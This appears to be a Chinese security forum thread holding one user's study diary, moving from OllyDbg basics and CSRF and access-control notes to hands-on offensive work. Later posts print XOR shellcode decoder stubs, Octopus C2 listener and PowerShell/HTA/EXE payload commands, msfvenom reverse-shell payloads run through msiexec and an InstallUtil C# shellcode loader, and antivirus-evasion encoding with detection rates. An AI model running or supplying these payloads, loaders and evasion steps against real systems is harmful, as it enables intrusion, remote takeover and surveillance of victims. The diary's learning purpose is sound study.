安全矩阵

 找回密码
 立即注册
搜索
楼主: wholesome

侯欣悦学习日记

[复制链接]

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-2-25 20:11:56 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-1 11:11 编辑

《加密与解密》之第二章:动态调试分析技术
这章主要是一些调试器工具的使用,因此一步一步来吧:
2.1.1 OllyDbg
OllyDbg结合了动态调试和静态分析,打开界面,见下图(盗用):
这里就不细讲各个面板和操作快捷键了!
2.1.2 OllyDbg的配置
浏览一遍,不做详细记录
2.1.3 基本操作
浏览一遍,不做详细记录
其中有一个重要的地方,设置断点:
双击“Hex dump”列中相应的行设置断点,再次双击可取消。
设置断点后点击上图中的B,可查看所有断点明细。
说道这里,我顺便查了一下上面一系列的蓝色字母各个作用(这些快捷按钮对应View里面的各个窗口):

  • L:显示日志窗口,通过配置,可以显示OllyDbg启动时保存在日志窗口的不同类型信息,也涉及条件断点的信息、当前运行进程的信息和它加载的库文件。
  • E:显示程序运行使用的模块:exe,dll,ocx和其它。
  • M:显示我们的程序映射到内存的信息,一个内存块可能被分为几个部分。
  • T:显示程序的线程窗口
  • W:显示程序窗口(目前不知道和T有什么区别)
  • H:句柄窗口(不清楚干什么,作者说以后解释)
  • /:如果程序经过了修改,这里显示修改的信息,现在我们的程序还没有被修改过,所以为空白。
  • K:显示调用堆栈的窗口信息,可以尝试反向跟踪函数的调用顺序。
  • B:显示程序普通断点的列表窗口,这里不显示硬件断点和内存断点。
  • R:显示我们在OllyDbg中搜索的结果。
  • ...:显示RUN TRACE(RUN跟踪)命令的结果。


上面的命令我过了一遍,作者说以后会用到。(那我就不纠结了)
2.1.4 常用断点
这里详细讲解了几种常用断点:
Int 3断点 、 硬件断点 、 内存断点 、 消息断点
(这些理解起来似乎比较困难!)


这一章后面的是其他工具的使用,实践性不强,略过。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-2-27 22:39:16 | 显示全部楼层
本帖最后由 wholesome 于 2020-2-28 21:34 编辑

乌云

《bilibili点我链接我就能登陆你的账号》
记录:第一次看到这个的时候,眼前一亮,bilibili现今是很多人的掌上比较火小视频了吧!(我对它也不是很清楚,没怎么使用过!)想看一下到底有什么漏洞!根据作者描述:“bilibili绑定微博的地方没有加token保护,导致可以csrf攻击,让别人点我链接,我的微博账号就和他的blibili账号绑定,然后我就可以登录他的bilibili账号了”,除此之外,就没有说细节了!CSRF攻击,似乎之前也见过,但是已经忘了.......


蝉知CMS5.3 CRSF getshell》
记录:这里是个CMS,(代码审计)想到了之前自己做的代码审计,发现我做代码审计的时候基本上都关注文件上传、SQL注入、XSS呀!很少留意CRSF。该作者通过代码审计判断出后台上传文件的时候,没有判断文件后缀,直接通过move_uploaded_file移动到package目录下了。而这里没有token,所以可以通过CSRF漏洞getshell。”嗯!这个说起来是没有什么感觉的!只是似乎还是没有使用token进行保护,也算是知道了一点产生原因。


看我如何使用CRSF为自己狂点赞》
记录:这是咕咚网的一个CRSF图像处理有问题!刚开始很疑惑,图像怎么也能够产生CRSF漏洞!
“头像处设置为上面的点赞地址,只要有展示图像的地方,就相当于构成了一次CRSF,我们可以去访问别人的主页(留下我们的访客记录),可以在发动态(这里也会展示我的图像)……很多地方都会img加载图像,但我的图像地址已经被改成crsf地址了,所以问题来了”!


《咕咚网储存XSS及大量CRSF》
记录:这是上面的同一个作者的作品,在咕咚网里,上面一篇没有细讲,这一篇就稍微有情节介绍,并且还是同时大量存在XSS和CRSF。咕咚网圈子的活动处虽然过滤script,但仍可绕过,继续造成储存XSS;网站大量post请求,修改为get请求可以继续运行,还没有token且运动日记,创建活动出可插入远程图片,这样我们把crsf地址放到图片地址中。浏览者打开的时候可以关注我们自己,还可以赞......这就通过IMG标签触发一个GET请求,可以利用它来实现CSRF攻击。



简单来说,CSRF 攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点,从而在并未授权的情况下执行在权限保护之下的操作。其实说白了,csrf漏洞的成因就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号等)。这个操作不是用户真正想要执行的。我们一般来说,哪里有这种漏洞产生,一般就会防御加固哪里!百度了一下:

目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。

参考链接:https://www.freebuf.com/articles/web/206407.html

https://www.freebuf.com/column/155800.html




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-2-28 23:36:47 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-4 23:58 编辑

分段编码
之前的加解密从头至尾都是完整的一个shellcode,也只有一个异或值对其进行编码与解码,而这次实验是分段加解密,简单来说,就是把shellcode分成我想分成的几段,用不同的异或值进行异或编码解码,最开始对shellcode进行分段编码是此次实验最简单的事儿了,此次实验最难的就是怎么衔接各个shellcode片段解码并且再一起执行


上述编码是我之前写的一个弹Dos框的shellcode,我将其分成三段,并使用了不同的异或值。其中最关键的技术就是在每个shellcode片段后面加上一个\x90,这样,在解码的时候我们才能比较友好地控制一个shellcode片段是否已经完成!
首先既然要解码,就要提供一个通用的解码子,当然这个通用唯一有点不同的是每个shellcode片段的异或不同:
提取机器码:
"\x33\xD2\xB7\x11\x8A\x1C\x0A\x32\xDF\x88\x1C\x0A\x42\x80\xFB\x90\x74\x02\xEB\xF0\x03\xCA\xC3"
这段机器码将拼接在第一段shellcode片段之前!
随后,由于我们每一段shellcode片段都是不同的异或值,那么我们就要在重复利用上面这个解码子的同时,还有变换异或值,并且和上面一样,把提取出的解码子的机器码拼接在要解码shellcode片段之前,这个拼接很重要,此外我们还要考虑解码后怎么拼接三段已解码的shellcode,理解这一段花了我不少时间。

这个时候我们应当把解码完的shellcode片段都放在一个寄存器,即解码一段,就放进这个寄存器一段!
其实我觉得这个时候写不出第二、三段的shellcode片段的解码子,是需要先把主函数怎么执行理清楚!毕竟一切都是从主函数开始执行说了算!(其实这个画图是比较清晰的!)
主函数:

  1. _asm
  2.         {
  3.                 lea ecx,enShellcode      //解码子以及shellcode拼接在一起的数组首地址
  4.                 mov edx,ecx                //由于ecx经常变化,所以我们把这个首地址赋值给不变的寄存器
  5.                 add ecx,23                  //为什么要将首地址再加23呢?
  6.                                                  //是为了是ecx指向第一个待解码shellcode片段,而23是其对应的解码子的长度
  7.                 push ecx                    //将第一个shellcode首地址压栈(注意:只是一个地址)                  
  8.                 push edx                    //将解码子入栈
  9.                 sub ecx,19                 //
  10.                 push ecx                    //这三句话为的是求前面我写的解码程序的Docode所在地址,后面会用到
  11.                 add ecx,19                 //
  12.                 call edx                     //解码要开始了
  13.                                                 //接下来,我们会看见之前我们见过的call/pop语句,这个pop要好好理解
  14.                 pop edx                     //解码首地址Docode被保存在edx寄存器中                             
  15.                 pop ebx                     //shellccode解码完毕首地址
  16.                 jmp ebx                    //跳转到解码完的并且已经拼接在一起的shellcode首地址执行
  17.         }
复制代码
上述代码中,call edx就是三个shellcode片段被解码的开始,而后面三句先不用管它!(最后三句只是一个大概猜想!)
此时我们就先假设运行到了call edx,那么此时的操作就是
第二段解码:
\x8B\x55\xFC\x52\x83\xC1\x13\x51\x50\x8B\xC2\x33\xD2\xB7\x22\xFF\xD0\x58\x5B\x5A\xFF\xE3
第三个:
\x8B\x55\xFC\x52\x83\xC1\x13\x51\x50\x8B\xC2\x33\xD2\xB7\x44\xFF\xD0\x58\x5B\x5A\xFF\xE3










本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-3-1 15:16:21 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-1 19:57 编辑

OllyDbg简单使用
今天学到一句话,很有道理:
“对基础知识的深刻理解是非常重要的,所以请不要倦于实践操作,对待本文同样如此。”
那么,开门见山:
OllyDbg可以更改寄存器的值,例如修改EAX上的值:
我们可以看到选中的将显示高亮,然后右键点击它选择Modify:
此时我们就可以修改EAX的值:
点击OK:
这个方法适用于其他寄存器,但EIP是唯一一个例外的,它指向下一条将要执行的指令,要改变它的值,需要如下操作,选择你要EIP跳转的位置:
然后右击0040101A,选择New origin here(汉化版翻译为:此处为新的EIP),EIP就会改变为0040101A,这样,程序就将会从这条指令执行:
  
我们回转到刚刚的EAX:
这里可以使用“?EAX”搜索EAX等寄存器的值,(注意,问号是英文问号,不然会报错,最开始我自己试了很久,还以为我的OlluDbg坏了)不过,接下来讲的是我之前一直混淆的,我们知道,EAX是32位寄存器,在OllyDbg中,它们的内容以十六进制显示。例如,EAX的最小值为00000000,最大值为FFFFFFFF,用二进制表示将是:
11111111111111111111111111111111
有时候汇编会看到AX,又或者AL、AH,由于我是初学者,不太明白这个到底怎么划分,所以趁此机会形象记忆,AX是EAX中的一部分,AX是16位寄存器:
此时EAX的值为12345678,随后查看AX的值:
我们可以看到AX的值为5678,AX又可以继续分为AL、AH,它们是AX的低八位和高八位:
---------------------------------------------
也就是说:
所以,几乎所有其它寄存器都可以如此分割!



此处就到此结束,开启另一段:
之前接触过NOP(无操作),实际中没有经常用到(估计是我技术不达标,还没用到这个)
那么我就学着样学习一下怎么在OllyDbg里使用:
我们可以看到,第一条指令push 0,占两个字节,此时我将把它改为nop,右击这条指令,选择Assemble:
改为nop之后:
我们可以看见由于push 0占两个字节,此时OllyDbg就会使用两条nop指令进行替换。那么我们怎么恢复呢?
选中这两条nop指令右击:
点击之后就可以恢复了!
现在就是看push 0了,虽说之前一直有了解堆栈,但是在OllyDbg里面该怎么更加清楚地看呢?
最开始的这个程序没有运行:
此时我们运行第一步:
可以看见“push 0”指令将把0存入到了堆栈的顶部,还有值得注意一点的就是:运行前的分配的堆栈地址在每台机器上可能是不一样的,即我的电脑此时的堆栈地址是0019FF74,同样的,其对应的初始内容也是不一样的,(我这里是74AA0419)
“push 0”后,我们可以看见堆栈顶部加入“0”,其他地方的值并没有发生变化,即新压入的数据总是在堆栈的顶部,并不会改变下面的数据。
同时我们也可以看见ESP的值发生了变化:
总之push指令可以压入数值,压入寄存器EAX(里面的值),压入一个地址(里面的值)。
对应push操作的是pop,意思为出栈,它会取出堆栈顶部的第一个字母或者第一个值,然后存放到指定的目标地址内存单元中。下面我们直观看看在OllyDbg里面它是怎么操作的?
在第一句使用快捷键“空格”也可以调出Assemble,然后输入pop eax的值:
此时没有点击运行,再看:
ESP的值为堆栈顶部地址0019FF74,EAX的值0019FFCC是机器初始化的值(每台机器上不一样),执行pop指令:
我们可以看见堆栈中地址为0019FF74被pop出去了,现在顶部ESP指向0019FF78,再看EAX的值,就是之前0019FF74地址的值。
此外,可以使用一条指令就可以把全部寄存器进行压栈与出栈。
pushad:
此时我们可以看见几乎各寄存器已经被压入栈,与之相对应的还有popad,这里就不再上图了!
至此,基本上我们已经了解主要界面该怎么看了!



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-3-1 20:41:20 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-2 18:57 编辑

《参考之前发的一篇文章《【工具使用】强大的红队武器Octopus“吊打”杀软》
(本来想写简单一点,但是笔记以后可能会看!所以步骤就比较详细了)
安装Octopus
  1. git clone https://github.com/mhaskar/Octopus.git</font>
复制代码
(多试几次才能安装好)
安装成功后,进入到Octopus目录下,安装几个python3的库:
  1. python3 -m pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
复制代码
在此目录,系统上还需要安装mono,以确保可以编译C#源代码:
  1. apt install mono-devel
复制代码
以上三条环境准备,我在安装的时候出现问题,总之一句话,多试几次!

在几乎把一切环境准备好后,启动:
  1. python3 octopus.py
复制代码
(启动的时候也出现问题,原链接的启动命令中是首字母大写Python3,最开始我不能成功,意识到kali区分大小写,抱着试一试的心态重新执行,bingo!换成小写就好了,估计kali不一样)

至于怎么使用,使用help可查询出所有的命令及解释,不再细讲!
直接进入主题!
所有的前提都是先生成一个监听器,首先尝试生成http监听器:
  1. listen_http BindIP BindPort hostname interval URL listener_name
  2.            监听器ip 监听器端口 主机名   间隔时间 页面url 监听器名称
复制代码
(我的安装主机kali的ip为:192.168.0.103,页面是它自己产生的,不需要我们构建)
  1. listen_http 0.0.0.0 5555 192.168.0.103 1 www.php test
复制代码


然后浏览器访问(只要是浏览器就行!无论在哪访问):
  1. http://192.168.0.103:5555/www.php
复制代码

成功访问!(监听器就好了)
不过上述方法直接用ip,容易暴露,我们应该给它加个外壳!
此时假装我们这一台电脑(包括windows10和里面的kali)是一台服务器,修改windows10的hosts文件!

使用管理员身份编辑:

保存,windows10又充当客户机访问:

这样是不是就隐蔽很多!
接下来就用它的方法生成3种载荷:
》》Generate_powershell:生成一个powershell载荷(前提是需要一个监听器)
“powershell单行代码将使您能够生成powershell命令,该命令可直接从C2下载并执行有效负载”
  1. generate_powershell test
复制代码

生成了三种,都可以使用。在windows10的powershell环境下,任意执行一条,最开始,我执行的是第2条,kali端没有任何反应,太苦了!我以为我步骤错了,后来几经周折,才想起选择第一条或第三条,结果主机成功上线,又回去尝试第二条,怎么又可以了?总之上线了!(不过此时我是关闭了火绒!因为之前似乎它已经判断出来powershell隐藏执行!)所以这里我有两条session:

这个powershell执行后界面会闪退被隐藏!

list命令查看:

与肉鸡交互(在肉鸡命令行下也可以使用help进行查看怎么用):

然而,问题来了,我现在进入肉鸡的命令行了,我怎么回到Octopus命令行?最后才发现官方文档指出可以使用exit退出当前session:

(太傻了)


》》Generate_hta:生成一个HTA载荷(必须有一个监听器)
“由于使用了@ahmedkhlief,他可以重用APT34威胁组中的代码,该威胁组从C2下载HTA文件内容并使用mshta.exe受信任的Windows二进制文件运行,以获取最终的Powershell代理已执行”
  1. generate_hta test
复制代码


随后复制这一句话,传播:
  1. mshta http://192.168.0.103:5555/hta
复制代码
在cmd里面执行:

就成功上线!


》》Generate_exe:生成windows可执行文件
“Octopus可以使用mono-project将C#代理编译为可执行文件,从而为您构建一个随时可用的Windows可执行文件(exe文件)。Octopus使用一种称为“非托管Powershell”的技术来执行powershell脚本,而无需接触powershell.exe二进制文件,这可以帮助您避免对powershell.exe的任何限制。Octopus将使用“ System.Management.Automation.dll”文件编译C#代码,然后使用“ PowerShell”对象启动Powershell代码执行。二进制文件本身非常干净且未被发现,当然它仍在开发中,因此,请等待此功能的更多更新,然后再考虑在野外使用它!”
  1. generate_exe test /root/test.exe
复制代码
查看:

下载到windows10,执行,exe会一闪而过,火绒开着也没有报警:

原作者说,各种杀软没有拦截!我这里就不下载了!我相信是可以的

不过,我想尝试上传到网上virustotal.com试试


4/71的报警!不错!
参考链接:https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd








本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-3-2 19:16:36 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-3 20:17 编辑

今日份(2020.3.3):

0x00 引入
看了乌云的上面的一类型文章:《越权》

看起来是挺多的!说明这很常见很危险!在乌云里面的文章只是粗略讲了哪些网站在哪存在漏洞,不太系统!看了一部分后,直接百度freebuf文章,这篇还不错:
  1. <font face="新宋体">https://www.freebuf.com/column/188068.html</font>
复制代码
里面讲得很系统!(以下只记录一些关键点!其实我觉得全文都很关键
0x01水平越权
这个很容易理解,简言之,就是攻击者尝试访问与他拥有相同权限的用户的资源。
攻击方式:
1. 基于用户身份ID
这个ID是用来表示用户的,比如说用户ID、账号、手机号、证件号等用户唯一标识。一般抓包的话,就是正常挨个ID尝试。
(原文有栗子)
2. 基于对象ID
这个ID是针对订单号、记录号。其实我们实际测试中,估计两者并没有怎么区分,都是一起测试的!
(原文有栗子)
3. 基于文件名
原文说的是“在使用某个功能时通过文件名直接访问文件,最常见于用户上传文件的场景。”最初一看,还以为是文件上传漏洞呢!不太明白,只能从他的栗子里面知晓怎样基于文件名:网址上面一般有文章的数字号码!改变数字,就可以访问其他文件!这让我想起了上一次做听力文章的时候,也是这样换了一下,就可以听下一篇听力原文了,应该就是这个意思吧!
(原文有栗子)
0x02垂直越权
这个很容易理解,简言之,就是一个低级别攻击者尝试访问高级别用户的资源
攻击方式:
1. 未认证账户访问无需认证后能访问该功能。
2. 不具备某个功能权限的账户认证后成功访问该功能
以上两种方式很好理解
0x03权限框架缺陷
这个分类我之前没有看到过!
权限控制框架是实现权限控制功能的基础,如果权限控制框架本身存在缺陷容易被攻陷会导致权限控制功能完全失效。在cookie中使用简单的权限标识来标记用户的权限等级或使用用户请求参数中所带的简单用户ID来控制用户权限,是典型的权限框架缺陷。
(原文有栗子)
所以这个是框架的本身!从而我们应当使用比较安全的权限框架是第一位。
0x04修复意见

0x05总结
总之,平时测试的时候,抓包拦截,往那些用户信息上面走一遭!之前自己有过这样验证水平越权的体验,真的能看见别人的信息!往往是通过不太重要的信息越权,却看到很重要的身份证信息、家庭住址、亲人电话号码以及身份证!当然漏洞可大可小!


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-3-4 23:10:41 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-8 23:06 编辑

载荷执行
方法一:基于msiexec+txt的载荷执行
msiexec是所有windows都默认自带的!安装程序时会用到它。
首先kali端:
并找出自己ip
执行:
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=5555  -f msi -o x.txt
复制代码
接着继续执行:
  1. use exploit/multi/handler
  2. set payload windows/meterpreter/reverse_tcp
  3. show options
  4. set LHOST 0.0.0.0
  5. set LPORT 5555
  6. run
复制代码
随后我把该文件x.txt上传到windows,在同目录下的cmd执行:
  1. msiexec /q /i x.txt
复制代码
一般情况下,x.txt可能会被火绒查杀!关掉火绒,可以看到成功上线:
然后玩了一会,通过meterpreter打开摄像头,见下图(截图只露了一点点!):
哈哈哈哈!好玩!

方法二:基于C#的载荷执行
C#的在Windows平台下的编译器名称是csc.exe。Installutil.exe工具是一个命令行实用程序,允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源,可以执行dll,exe,txt等。这两个东西一般情况下是配合使用。所以就不单独拿出来讲了。
kali端:
输入命令msfconsole:
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=5555  -f csharp -o p.cs
复制代码
打开p.cs,我们可以看到产生一个shellcode:
下载InstallUtil-Shellcode.cs:
  1. using System;
  2. using System.Net;
  3. using System.Diagnostics;
  4. using System.Reflection;
  5. using System.Configuration.Install;
  6. using System.Runtime.InteropServices;


  7. //root@infosec:~# msfvenom --payload windows/meterpreter/reverse_https LHOST=10.0.0.1 LPORT=443 -f csharp > pentestShellCode.txt

  8.         public class Program
  9.         {
  10.                 public static void Main()
  11.                 {
  12.                         Console.WriteLine("Hello From Main...I Don't Do Anything");
  13.                         //Add any behaviour here to throw off sandbox execution/analysts :)
  14.                         
  15.                 }
  16.                
  17.         }
  18.         
  19.         [System.ComponentModel.RunInstaller(true)]
  20.         public class Sample : System.Configuration.Install.Installer
  21.         {
  22.             //The Methods can be Uninstall/Install.  Install is transactional, and really unnecessary.
  23.             public override void Uninstall(System.Collections.IDictionary savedState)
  24.             {
  25.                
  26.                 Shellcode.Exec();
  27.                     
  28.             }
  29.             
  30.         }
  31.         
  32.         public class Shellcode
  33.         {
  34.                         public static void Exec()
  35.                         {
  36.                                 // native function's compiled code
  37.                                 // generated with metasploit / CobaltStrike
  38.                                 
  39.                                 byte[] shellcode = new byte[341] { .......};

  40.          
  41.                                 UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
  42.                                                                         MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  43.                                 Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
  44.                                 IntPtr hThread = IntPtr.Zero;
  45.                                 UInt32 threadId = 0;
  46.                                 // prepare data
  47.          
  48.          
  49.                                 IntPtr pinfo = IntPtr.Zero;
  50.          
  51.                                 // execute native code
  52.          
  53.                                 hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
  54.                                 WaitForSingleObject(hThread, 0xFFFFFFFF);
  55.          
  56.                   }
  57.          
  58.                         private static UInt32 MEM_COMMIT = 0x1000;
  59.          
  60.                         private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
  61.         
  62.                         [DllImport("kernel32")]
  63.         private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
  64.              UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

  65.         [DllImport("kernel32")]
  66.         private static extern bool VirtualFree(IntPtr lpAddress,
  67.                               UInt32 dwSize, UInt32 dwFreeType);

  68.         [DllImport("kernel32")]
  69.         private static extern IntPtr CreateThread(

  70.           UInt32 lpThreadAttributes,
  71.           UInt32 dwStackSize,
  72.           UInt32 lpStartAddress,
  73.           IntPtr param,
  74.           UInt32 dwCreationFlags,
  75.           ref UInt32 lpThreadId

  76.           );
  77.         [DllImport("kernel32")]
  78.         private static extern bool CloseHandle(IntPtr handle);

  79.         [DllImport("kernel32")]
  80.         private static extern UInt32 WaitForSingleObject(

  81.           IntPtr hHandle,
  82.           UInt32 dwMilliseconds
  83.           );
  84.         [DllImport("kernel32")]
  85.         private static extern IntPtr GetModuleHandle(

  86.           string moduleName

  87.           );
  88.         [DllImport("kernel32")]
  89.         private static extern UInt32 GetProcAddress(

  90.           IntPtr hModule,
  91.           string procName

  92.           );
  93.         [DllImport("kernel32")]
  94.         private static extern UInt32 LoadLibrary(

  95.           string lpFileName

  96.           );
  97.         [DllImport("kernel32")]
  98.         private static extern UInt32 GetLastError();
  99.                         
  100.          
  101.                 }
  102.         
复制代码

将上述代码替换InstallUtil-Shellcode.cs的shellcode:
注意把buf改变为shellcode:
随后依次敲入以下语句:
  1. use exploit/multi/handler
  2. set payload windows/meterpreter/reverse_tcp
  3. show options
  4. set LHOST 0.0.0.0
  5. set LPORT 5555
  6. run
复制代码
windows端:
本默认有:
C:\Windows\Microsoft.NET\Framework\v2.0.50727
命令行切换到以上目录:
此时需要csc编译InstallUtil-ShellCode.cs,那么在cmd中执行以下命令:
csc.exe /out:F:\InstallUtil-shell.exe /platform:x86 /unsafe F:\InstallUtil-ShellCode.cs
(csc.exe编译器编译C#代码,/out表示输出的产物文件名,/platform表示需要使用32位库, 使用/unsafe是由于C#会使用指针)
编译生成的文件后缀名无所谓exe dll txt都可以,但只能InstallUtil.exe来触发
InstallUtil.exe执行,反弹shell:
  1. InstallUtil.exe /logfile= /LogToConsole=false /U F:\InstallUtil-shell.exe
复制代码
再看kali端:
竟然成功了!不容易啊!
最后,又发现windows端的cmd不能关闭,否则kali端失去连接!
这个复现有点难哟!花了大量的时间,主要是开始教程没有看懂!后来才发现需要还少了InstallUtil-Shellcode.cs加载器,找这个cs文件也花了不少的时间,就差放弃了!后来才发现这个文件,当初是一起拷贝过来了的!
参考链接:
  1. https://www.cnblogs.com/sec875/p/11028883.html
  2. https://xz.aliyun.com/t/2536
  3. https://www.cnblogs.com/whoami101/p/11612401.html
  4. https://www.cnblogs.com/Mikasa-Ackerman/p/zhe-pian-wen-zhang-jiu-zong-jie-yi-xia-guan-yu-mia.html
  5. https://xz.aliyun.com/t/5768
  6. https://blog.csdn.net/fly_hps/article/details/80564962
复制代码



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-3-8 23:21:11 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-9 09:06 编辑

(想迫不及待试一试(免杀),于是就有了这一篇文章的一丁点开头)
基础篇   
免杀技术介绍:
1、修改特征码
特征码:能识别一个程序是一个病毒的一段不大于64字节的特征串
2、花指令免杀
花指令:其实就是一段毫无意义的指令
黑客们为一个程序添加一段花指令之后,程序的部分偏移会受到影响,如果反病毒软件不能识别这段花指令,那么它检测特征码的偏移量会整体位移一段位置,自然也就无法正常检测木马了。
3、加壳免杀
但壳也有自己的特征
4、内存免杀
5、二次编译
6、分离免杀
7、资源修改
msfvenom隐藏的参数
首先msfvenom是kali自带,在kali窗口输入以下命令便可以查看所有参数解释:
msfvenom命令行选项如下:
  1. Options:
  2.     -p, --payload    <payload>       指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定
  3.     -l, --list       [module_type]   列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
  4.     -n, --nopsled    <length>        为payload预先指定一个NOP滑动长度
  5.     -f, --format     <format>        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
  6.     -e, --encoder    [encoder]       指定需要使用的encoder(编码器)
  7.     -a, --arch       <architecture>  指定payload的目标架构
  8.         --platform   <platform>      指定payload的目标平台
  9.     -s, --space      <length>        设定有效攻击荷载的最大长度
  10.     -b, --bad-chars  <list>          设定规避字符集,比如: '\x00\xff'
  11.     -i, --iterations <count>         指定payload的编码次数
  12.     -c, --add-code   <path>          指定一个附加的win32 shellcode文件
  13.     -x, --template   <path>          指定一个自定义的可执行文件作为模板
  14.     -k, --keep                       保护模板程序的动作,注入的payload作为一个新的进程运行
  15.         --payload-options            列举payload的标准选项
  16.     -o, --out   <path>               保存payload
  17.     -v, --var-name <name>            指定一个自定义的变量,以确定输出格式
  18.         --shellest                   最小化生成payload
  19.     -h, --help                       查看帮助选项
  20.         --help-formats               查看msf支持的输出格式列表
复制代码
》》》》msf自免杀
msf自编码处理
使用msfvenom --list encoders可查看所有编码器
其中,评级最高的两个encoder为cmd/powershell_base64和x86/shikata_ga_nai,其中x86/shikata_ga_nai也是免杀中使用频率最高的一个编码器了。那我就依葫芦画瓢,使用x86/shikata_ga_nai生成payload,参数-i为编码次数,并使用了-b参数去掉payload中的空字符
开始学着样子操作了:
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=5555 -e x86/shikata_ga_nai -b "\x00" -i 10 -f exe -o payload1.exe
复制代码
在virustotal.com上查杀率为56/71
由于shikata_ga_nai编码技术是多态的,也就是说每次生成的payload文件都不一样,有时生成的文件会被查杀,有时却不会。当然这个也和编码次数有一定关系,编码次数好像超过70次就经常生成出错,但是编码次数多并不代表免杀能力强
参考链接:
https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247485187&idx=1&sn=06cb193fe776a166c5956162e6aaa529&chksm=ce5e2562f929ac74192649ed36fadb09443ed89031af64705f786c6c6b1d342ce96d13e709c3&mpshare=1&scene=23&srcid=&sharer_sharetime=1579565243679&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

22

主题

63

帖子

336

积分

中级会员

Rank: 3Rank: 3

积分
336
发表于 2020-3-8 23:29:24 | 显示全部楼层
wholesome 发表于 2020-3-8 23:21
(想迫不及待试一试(免杀),于是就有了这一篇文章的一丁点开头)
基础篇   免杀技术介绍:1、修改特征码
...

那个查杀率咋看的
回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-3-9 00:21:55 | 显示全部楼层
caiH 发表于 2020-3-8 23:29
那个查杀率咋看的

网站virustotal.com
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 22:46 , Processed in 0.026599 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表